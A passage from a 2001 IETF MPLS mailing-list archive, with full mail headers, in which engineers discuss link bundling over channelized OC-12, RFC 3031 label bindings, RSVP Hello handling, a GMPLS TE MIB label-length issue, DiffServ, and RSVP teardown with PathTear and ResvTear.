interface is to reduce the cabling and additional equipment cost and labor
cost at the central location. Since it is a channelized interface, I
believe, it would not allow the user to use it as an OC-12c interface. By
applying link bundling on that, now you can size your pipe whatever you want
upto the maximum BW (in this case, it will be STS-12c). In addition, using
O-UNI, you will get a true bandwidth on demand.

Just a thought.

Man Wing


 


From owner-mpls@UU.NET  Wed May  9 11:21:20 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11504
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 11:21:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogz21181;
	Wed, 9 May 2001 15:19:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkogz08869
	for mpls-outgoing; Wed, 9 May 2001 15:19:24 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkogz08829
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 15:19:05 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkogz07142
	for <mpls@UU.NET>; Wed, 9 May 2001 15:17:08 GMT
Received: from wrnxchg.Whiterocknetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.whiterocknetworks.com [65.192.92.133])
	id QQkogz17828
	for <mpls@UU.NET>; Wed, 9 May 2001 15:17:08 GMT
Received: by 192-168-1-220.customer.algx.net with Internet Mail Service (5.5.2650.21)
	id <KPG82N46>; Wed, 9 May 2001 10:16:06 -0500
Message-ID: <66E0B27B8A29D511B19600D0B744446527AE51@192-168-1-220.customer.algx.net>
From: "Fong, Man Wing" <MFong@WhiteRockNetworks.com>
To: "'Maarten Vissers'" <mvissers@lucent.com>,
        Debanjan Saha
	 <DSaha@tellium.com>
Cc: "Fong, Man Wing" <MFong@WhiteRockNetworks.com>,
        Bala Rajagopalan
	 <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'"
	 <kireeti@juniper.net>, ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling
Date: Wed, 9 May 2001 10:16:05 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Maarten, 

Very good point and description. The last case that you describe using VC
would be a good alternative to support the bandwidth on demand. Now that the
inverse muxing capability is being transferred from the router to the
transport NEs. In this case, (Debanjan, you're right), the user would use an
OC-12c interface on a router instead of the channelized OC-12 interface to
save cost for this application (BOD). 

Thanks,
Man Wing

 -----Original Message-----
From: 	Maarten Vissers [mailto:mvissers@lucent.com] 
Sent:	Wednesday, May 09, 2001 5:06 AM
To:	Debanjan Saha
Cc:	'Fong, Man Wing'; Bala Rajagopalan; mpls@UU.NET; 'Kireeti Kompella';
ccamp@ops.ietf.org
Subject:	Re: Question about logical link in Link bundling

 << File: Card for Maarten Vissers >> Debanjan,

Just a thought... those 12 DS3s terminating on the same router (and
providing access to 12 MPLS links) may terminate at the other ends on 12
different routers. With one physical (OC12) interface you have now made
(with the help of the transport network) connections with 12 other
routers. Very cost effective... 

Ofcourse you don't need a DS3 to be present in the STS1 is the router at
the other end of the transport network has a EC1 of (channelised) OC-N
interface. In this case you may deploy direct mapping of MPLS into STS1
payload (via PPP/HDLC or the new GFP encapsulation).

One further cost reduction step (for the case there are e.g. only 5
other routers connected) is to use STS1 virtual concatenation with GFP
encapsulation of MPLS. You can now size each of the 5 STS pipes between
1 and a Xi STS1s (STS-1-Xv) as long as the sum of X1+X2+X3+X4+X5 <= 12.

Regards,

Maarten

Debanjan Saha wrote:
> 
> Fong,
> You're right. A channelize OC-12 can have 12 DS-3s (STS-1)within it.
> However, if all of them are terminating on
> the same LSR, I'm not sure why you'll use a channelized
> OC-12 and not an OC-12c.
> 
> Debanjan



From owner-mpls@UU.NET  Wed May  9 11:26:27 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11847
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 11:26:27 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogz26979;
	Wed, 9 May 2001 15:24:35 GMT
Received: by mail-control.mail.uu.net 
	id QQkogz09348
	for mpls-outgoing; Wed, 9 May 2001 15:23:59 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkogz09331
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 15:23:52 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkogz13343
	for <mpls@UU.NET>; Wed, 9 May 2001 15:20:15 GMT
Received: from web8003.mail.in.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web8003.in.yahoo.com [203.199.70.21])
	id QQkogz28731
	for <mpls@UU.NET>; Wed, 9 May 2001 15:20:14 GMT
Message-ID: <20010509152311.23863.qmail@web8003.mail.in.yahoo.com>
Received: from [169.144.84.57] by web8003.mail.in.yahoo.com; Wed, 09 May 2001 16:23:11 BST
Date: Wed, 9 May 2001 16:23:11 +0100 (BST)
From: =?iso-8859-1?q?Shankar?= <shankarananth@yahoo.co.in>
Subject: Re: Fw: Re: rfc3031 section3.2
To: Felix Chang <mplszhz@263.net>, mpls_maillist <mpls@UU.NET>
In-Reply-To: <200105091245.f49CjUv00289@noya.bupt.edu.cn>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr0.ash.ops.us.uu.net id QQkogz26979
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id LAA11847

Hi,
My understanding was that the nodes could be acting 
as transit nodes and not necessarily source and
destination nodes. Right??

Thanks
shankar

--- Felix Chang <mplszhz@263.net> wrote: >
mpls_maillisthi,Hailong Lu.sean£¡
> 
> 	In my opinion, this section means that, when some
> packets that belong to the FEC
> travelling through upstream node to downstream node,
> they use the label to represent
> these packets. But in the network, packets belong to
> the FEC may not travel through
>  these two nodes. They may follow another path.
> 
> On 2001-05-08 16:49:00 you wrote£º
> >Hi,there
> >    I am new guy to MPLS.While reading rfc3031's
> section 3.2,there
> >are some words I can't understand:
> >
> >   "To say that one node is upstream and one is
> downstream with respect
> >   to a given binding means only that a particular
> label represents a
> >   particular FEC in packets travelling from the
> upstream node to the
> >   downstream node.  This is NOT meant to imply
> that packets in that FEC
> >   would actually be routed from the upstream node
> to the downstream
> >   node"
> >
> >   thanks.
> >
> >
> >
> >sean
> 
> 	Best regards£¡
> 
>             Felix Chang
>             mplszhz@263.net
> 
> 


____________________________________________________________
Do You Yahoo!?
For regular News updates go to http://in.news.yahoo.com


From owner-mpls@UU.NET  Wed May  9 13:15:00 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17809
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 13:15:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohg04088;
	Wed, 9 May 2001 17:14:09 GMT
Received: by mail-control.mail.uu.net 
	id QQkohg29493
	for mpls-outgoing; Wed, 9 May 2001 17:13:30 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkohg29360
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:13:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkohg04636
	for <mpls@UU.NET>; Wed, 9 May 2001 17:12:46 GMT
Received: from dnsmx1rrc.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQkohg06990
	for <mpls@UU.NET>; Wed, 9 May 2001 17:12:45 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id NAA17363;
	Wed, 9 May 2001 13:06:59 -0400 (EDT)
Subject: Re: RSVP hello message
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Wed, 9 May 2001 13:07:23 -0400
Message-ID: <OF28A13EF9.6380297D-ON85256A46.00616AC3@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/09/2001 01:07:24 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


David,

Thanks for your reply.
Please see my comments.

>>RSVP must not be run synchronously.

>>If a Path message is sent out, it MUST NOT block waiting for a Resv to
>>come back.  It may receive a thousand other Path messages before then,
>>and it can't block them all.

[Julia]       I was confused. Ingress is the one which sends out Path
message,
                  and LSR will just forward the Path message sent from
Ingress to Egress.  In your email, you mentioned that
                    "It may receive a thousand other Path messages before
then", what does that mean?

>>Since Hello messages are not dependant on any RSVP state, it should be
>>possible to handle them as they arrive, without regard for what other
>>messages may or may not have been received.

>>Keep in mind that if you delay responding to a Hello message, your
>>neighbor may decide that you have reset, tearing down all your
>>sessions.  If the draft's recommended interval/multiple for Hello is in
>>use, you will only have 17.5ms to get your response out.

[Julia]      I agree with you.  Hello request message should be responsed
as soon as possible since the neighbour may tear down the session after the
Hello interval.

[Julia]     So I think if the Ingress sends out the Path message, and
before the Resv message back from the Egress router, if there is a Hello
request message sent from the neighbour, it should send out Hello ACK
message back and then wait the Resv back from Egress.  I hope I understand
correctly.

Julia





From owner-mpls@UU.NET  Wed May  9 13:24:38 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18206
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 13:24:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohh17011;
	Wed, 9 May 2001 17:24:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkohh01192
	for mpls-outgoing; Wed, 9 May 2001 17:23:50 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkohh01184
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:23:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkohh02971
	for <mpls@UU.NET>; Wed, 9 May 2001 17:20:46 GMT
From: djoyal@quantumbridge.com
Received: from quantumexch.qb.local by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gatekeeper.quantumbridge.com [63.165.82.130])
	id QQkohh15952
	for <mpls@UU.NET>; Wed, 9 May 2001 17:20:46 GMT
Received: by quantumexch.qb.local with Internet Mail Service (5.5.2653.19)
	id <KTD9YLCD>; Wed, 9 May 2001 13:12:15 -0400
Message-ID: <36FB26FEDE20D511BA9C00508BE050B47DC540@quantumexch.qb.local>
To: afarrel@movaz.com, mpls@UU.NET, ccamp@ops.ietf.org
Subject: RE: GMPLS TE MIB
Date: Wed, 9 May 2001 13:12:14 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Adrian,

 The SYNTAX of the MplsGeneralizedLabel TC specifies a fixed length of
64 bits. This conflicts with the GMPLS functional specification which
defines a generalized label as being of variable length. The SYNTAX
is inconsistent with the length of the Waveband label, for example.

-Dan 


-----Original Message-----
From: Adrian Farrel [mailto:afarrel@movaz.com]
Sent: Wednesday, May 09, 2001 10:06 AM
To: mpls@UU.NET; ccamp@ops.ietf.org
Subject: GMPLS TE MIB


We have submitted a draft to extend the TE-MIB to support
GMPLS.
This is available at
http://search.ietf.org/internet-drafts/draft-nadeau-mpls-gmp
ls-te-mib-00.txt

We would welcome your thoughts and comments

Adrian
--
Adrian Farrel
Movaz Networks Inc.
afarrel@movaz.com



From owner-mpls@UU.NET  Wed May  9 13:26:15 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18245
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 13:26:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohh18437;
	Wed, 9 May 2001 17:25:34 GMT
Received: by mail-control.mail.uu.net 
	id QQkohh01202
	for mpls-outgoing; Wed, 9 May 2001 17:24:09 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkohh01194
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:23:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkohh02807
	for <mpls@uu.net>; Wed, 9 May 2001 17:20:43 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkohh12491
	for <mpls@uu.net>; Wed, 9 May 2001 17:20:43 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA18927 for mpls@uu.net; Wed, 9 May 2001 13:20:42 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkohh00906
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:20:05 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkohh00107
	for <mpls@UU.NET>; Wed, 9 May 2001 17:19:49 GMT
Received: from lohi.eng.telia.fi by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: lohi.eng.telia.fi [195.10.149.18])
	id QQkohh11357
	for <mpls@UU.NET>; Wed, 9 May 2001 17:19:48 GMT
Received: (from jh@localhost)
	by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id f49HJcQ05132;
	Wed, 9 May 2001 20:19:38 +0300
From: Juha Heinanen <jh@lohi.eng.telia.fi>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15097.31785.760891.353537@lohi.eng.telia.fi>
Date: Wed, 9 May 2001 20:19:37 +0300 (EEST)
To: "Jay Wang" <jwang@opixnetworks.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
In-Reply-To: <NEBBKNOANMBIAAGAOBILGEOCCBAA.jwang@opixnetworks.com>
References: <15095.35863.76753.616693@lohi.eng.telia.fi>
	<NEBBKNOANMBIAAGAOBILGEOCCBAA.jwang@opixnetworks.com>
X-Mailer: VM 6.75 under Emacs 19.34.1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Jay Wang writes:

 > >according to your definition even atm supports diffserv since one can
 > >always use cbr vcs between routers and then let the routers do the
 > >proper queueing.  for several reasons this is not a good idea.
 > 
 > I that case, would you mind elaborating your concerns?

the idea behind diffserv is that each traffic is allocated a certain
amount of aggregate resources (buffer space and bandwidth) at each
diffserv (l2 or l3) node.  traffic between a pair of edge routers
belonging to a given class thus shares the resources at each node with
all other traffic in that class.  a cbr vc or other kind of "leased
line" between the routers would reserve the resources for that pair
instead of the whole aggregate.

-- juha



From owner-mpls@UU.NET  Wed May  9 13:32:08 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18497
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 13:32:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohi27934;
	Wed, 9 May 2001 17:30:50 GMT
Received: by mail-control.mail.uu.net 
	id QQkohi03132
	for mpls-outgoing; Wed, 9 May 2001 17:30:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkohi03104
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:30:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkohh28514
	for <mpls@UU.NET>; Wed, 9 May 2001 17:29:43 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkohh26514
	for <mpls@UU.NET>; Wed, 9 May 2001 17:29:43 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA11089
	for <mpls@UU.NET>; Wed, 9 May 2001 13:29:40 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA08654
	for <mpls@UU.NET>; Wed, 9 May 2001 13:29:41 -0400 (EDT)
Message-ID: <3AF97E98.4C1F888A@marconi.com>
Date: Wed, 09 May 2001 13:30:01 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: disconnect connection
References: <OF3C141789.CF1EC116-ON85256A47.00575AA9@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> Hope I understand correctly.
> 
> 1.  If Ingress sends out Path, and Egress sends back Resv, the LSP
> is established.  If Ingress wants to tear down the connection,
> Ingress sends out PathTear to tear down connection.

Yes.

> 2.  If Egress sends out Path message, but no Resv back from Egress
> router, the Egress should send out PathTear to clear the path state.

This makes absolutely no sense whatsoever.  The egress node can't send
out a Path message.  Where do you think it is going to send this message
to?

> 3.  If Egress or LSR find there is failure, they will send out
> ResvErr, and Ingress send out PathTear to tear down the connection
> (basically clear the path and resv state).

Yes.  Failures are reported with error messages.  Teardowns should be
initiated by the ingress.  The only exception being when it is known
that the ingress's tear message can't get through, and that it will be
torn anyway.  (eg. the node just downstream of a link failure.)

> Anyway Ingress is the one which will tear down the connection if
> there is one.  If the connection has not set up yet, for example,
> there is no Resv back after Path message was sent out, Ingress
> still need to send out PathTear to clear the Path state.

Yes.

-- David


From owner-mpls@UU.NET  Wed May  9 13:36:35 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18631
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 13:36:30 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohi04221;
	Wed, 9 May 2001 17:36:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkohi04374
	for mpls-outgoing; Wed, 9 May 2001 17:35:27 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkohi04290
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:35:09 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkohi28527
	for <mpls@UU.NET>; Wed, 9 May 2001 17:34:19 GMT
Received: from dnsmx1pya.telcordia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1pya.telcordia.com [128.96.20.31])
	id QQkohi03567
	for <mpls@UU.NET>; Wed, 9 May 2001 17:34:19 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with ESMTP id NAA11029;
	Wed, 9 May 2001 13:31:36 -0400 (EDT)
Subject: Re: disconnect connection
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Wed, 9 May 2001 13:32:00 -0400
Message-ID: <OFC90C1A84.A7DEB996-ON85256A47.0060463E@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/09/2001 01:32:01 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


David,

Hope I understand correctly.

1.  If Ingress sends out Path, and Egress sends back Resv, the LSP is
established.  If Ingress wants to tear down the connection, Ingress sends
out PathTear to tear down connection.

2.  If Egress sends out Path message, but no Resv back from Egress router,
the Egress should send out PathTear to clear the path state.

3.  If Egress or LSR find there is failure, they will send out ResvErr, and
Ingress send out PathTear to tear down the connection(basically clear the
path and resv state).

Anyway Ingress is the one which will tear down the connection if there is
one.  If the connection has not set up yet, for example, there is no Resv
back after Path message was sent out, Ingress still need to send out
PathTear to clear the Path state.

Thanks,

Julia





David Charlap <david.charlap@marconi.com> on 05/07/2001 04:03:21 PM

To:   mpls@UU.NET
cc:    (bcc: Hong Liao/Telcordia)
Subject:  Re: disconnect connection



Hong Liao wrote:
>
> I have questions for disconnecting(clear connection).
>
> 1. Suppose LSR received Path message from Ingress router, and LSR
> sent out Resv message back.  If the LSR wanted to tear down this
> session, it will send out ResvTear to Ingress router, and Ingress
> router will take out the Resv state of LSR, and do not response
> back anything, this session will be ended. I may wrong.

First of all, only an egress router should be generating ResvTear
messages, unless there's a failure somewhere.  (In which case, various
PathErr and ResvErr messages should also be generated.)  A transit
router should not arbitrarily go around sending out teardown messages.

As a matter of fact, in the case of MPLS, since LSP creation is driven
by the ingress router, only the ingress router should be doing any kind
of tearing (not counting cleanup after failures.)  The ingress router,
of course, can not generate a ResvTear, because it won't go anywhere.
It will send a PathTear when it wants to destroy the LSP.

If an egress router sends ResvTear, the reservation will be removed.  If
the ingress router doesn't subsequently tear the Path, however, the Path
state will remain in the network.  This will waste bandwidth due to the
refreshes for the unused state.  It may also result in wasted resources,
since some switches may allocate resources during Path processing.

If a transit router tries to do this, it's even worse.  You end up with
leftover Path state everywhere, and leftover reservations downstream of
that transit router.

In general, ResvTear is not used in MPLS, except possibly in conjunction
with PathErr messages.  There is no reason for a non- ingress router to
tear an LSP except in the face of failures.

> 2. another way round, if there is LSR and it forwarded Path message
> to Egress router, and Egress router sent back Resv message to LSR,
> suppose the LSR wants to tear down this session, it will send out
> the PathTear to the Egress router, and Egress router will move the
> Path state of LSR, do not response anything, this session is ended.
> Did I understand correct?

This is how an ingress router will tear an LSP.

If some router other than ingress does this, however, you will wind up
with leftover Path state in all routers upstream of the LSR.  And until
the Resv state times out, there will be leftover reservations on those
nodes as well.

> 3. If the Ingress router sends out the Path message, but the no Resv
>    message sent back from LSR, does Ingress router need to send out
>    PathTear to clear the path state in case that this Path state has
>    already been sent there.

Yes.  Path state (and all of the Path refreshing) will remain in place
forever if it is not torn down.

> 4.  How about the transit router to try to clear/tear down the
> session?

This should only happen if there is a failure (or perhaps preemption.)

In which case, it should send a PathErr upstream.  The ingress router,
upon receiving this, may then choose to tear the LSP by sending a
PathTear message.

If the failure is a broken link (where the attached router knows that a
PathTear message can't get through to the downstream nodes), the Path
state will timeout (due to lack of refreshes on that interface),
resulting in the eventual transmission of PathTear.

The router should probably choose to immediately send the PathTear as an
optimization (since a link failure will result in the nodes upstream of
the failure tearing the state), but this isn't a hard requirement.

-- David






From owner-mpls@UU.NET  Wed May  9 13:41:18 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18793
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 13:41:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohi08607;
	Wed, 9 May 2001 17:40:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkohi06020
	for mpls-outgoing; Wed, 9 May 2001 17:40:22 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkohi06001
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 17:40:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkohi28843
	for <mpls@UU.NET>; Wed, 9 May 2001 17:39:59 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkohi09288
	for <mpls@UU.NET>; Wed, 9 May 2001 17:39:59 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA12290
	for <mpls@UU.NET>; Wed, 9 May 2001 13:39:56 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA11842
	for <mpls@UU.NET>; Wed, 9 May 2001 13:39:57 -0400 (EDT)
Message-ID: <3AF98101.D011B870@marconi.com>
Date: Wed, 09 May 2001 13:40:17 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP hello message
References: <OF28A13EF9.6380297D-ON85256A46.00616AC3@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> [Julia] I was confused. Ingress is the one which sends out Path
> message, and LSR will just forward the Path message sent from
> Ingress to Egress.

You do not understand how RSVP operates.

Transit routers do NOT just forward Path messages.  They must intercept
the messages (which is why the router-alert option is used), establish
path state, and then generate a new Path message (which will not be
identical to the one it received) to send downstream.

> In your email, you mentioned that "It may receive a thousand other
> Path messages before then", what does that mean?

Isn't this obvious to you?  A transit router doesn't work with just one
LSP.  A network may try to establish thousands of LSPs through a transit
router.

If you receive a Path, and then block the entire router waiting for the
matching Resv (as your comment about Hello messages seems to imly), you
will destroy the entire network's performance.  It is quite possible
that you can receive thousands of Path messages - corresponding to
thousands of LSPs - before you receive your first Resv message.

> [Julia] So I think if the Ingress sends out the Path message, and
> before the Resv message back from the Egress router, if there is a
> Hello request message sent from the neighbour, it should send out
> Hello ACK message back and then wait the Resv back from Egress.  I
> hope I understand correctly.

Your router shouldn't be _waiting_ for anything.  It should handle every
message as it arrives.  If the proper handling means establishing
partial state, pending receipt of another message, then so be it.  It is
always wrong for a router to halt awaiting some specific kind of packet.

If the reason for this is not obvious to you, please arrange a meeting
with an engineer at your own site.  This is all very basic information
that everybody developing router software should know.

-- David


From owner-mpls@UU.NET  Wed May  9 13:43:13 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18925
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 13:43:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkohi11637;
